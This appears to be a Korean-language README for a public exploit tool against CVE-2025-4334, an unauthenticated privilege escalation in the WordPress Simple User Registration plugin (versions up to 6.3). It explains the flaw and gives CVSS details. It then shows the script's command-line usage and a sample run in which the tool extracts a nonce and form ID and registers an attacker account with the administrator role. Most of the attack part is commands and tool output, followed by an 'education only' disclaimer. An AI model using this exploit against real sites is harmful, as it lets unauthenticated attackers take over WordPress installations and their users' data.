nxploited/cve-2025-4334간단한 사용자 등록 <= 6.3 - 인증되지 않은 권한 상승
WordPress용 Simple User Registration 플러그인은 6.3을 포함한 모든 버전에서 권한 상승 취약점에 노출되어 있습니다.
이는 등록 중에 제공될 수 있는 사용자 메타 값에 대한 제한이 충분하지 않기 때문입니다.
이로 인해 인증되지 않은 공격자가 관리자로 등록할 수 있습니다.
| 속성 | 값 |
|---|---|
| 유형 | 부적절한 권한 관리 |
| CVE | CVE-2025-4334 |
| CVSS 점수 | 9.8 (심각) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 공개일 | 2025년 6월 25일 |
| 마지막 업데이트 | 2025년 6월 26일 |
이 익스플로잇은 추출된 nonce, 양식 ID 및 referer를 사용하여 양식 제출을 통해 권한 상승을 자동화합니다.
python CVE-2025-4334.py -h
usage: CVE-2025-4334.py [-h] -u URL --form FORM
Simple User Registration <= 6.3 - 인증되지 않은 권한 상승 - by Khaled Alenazi (Nxploited)
options:
-h, --help 도움말 메시지를 표시하고 종료합니다
-u, --url URL 기본 WordPress URL (예: http://localhost/wordpress/)
--form FORM 등록 양식이 포함된 페이지의 전체 URL
-u → 기본 WordPress 설치 (예: http://localhost/wordpress/)--form → 취약한 등록 양식의 전체 URL (예: http://localhost/wpr/default-registration/)python CVE-2025-4334.py -u http://localhost/wordpress/ --form http://localhost/wpr/default-registration/
[i] Extracted Nonce : ffcf0140a8
[i] Extracted Form ID : 76
[i] Referer Path : /wpr/default-registration/
[i] HTTP Response Code : 200
[i] Server Response : {"user_id":13,"status":"success","signup":"signup","message":"Registration Done !\r\nUser Register Email not sent, please contact admin","redirect_url_signup":null}
[+] Exploitation Successful
[+] Username : Nxploitedadmin
[+] First Name : Nxploitedadmin
[+] Last Name : Nxploitedadmin
[+] Email : [email protected]
[+] Password : nxp1234
[+] Role : administrator
Exploit By : Khaled_alenazi (Nxploited)
이 스크립트는 교육 및 연구 목적으로만 제공됩니다.
작성자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
작성자: Khaled_alenazi (Nxploited)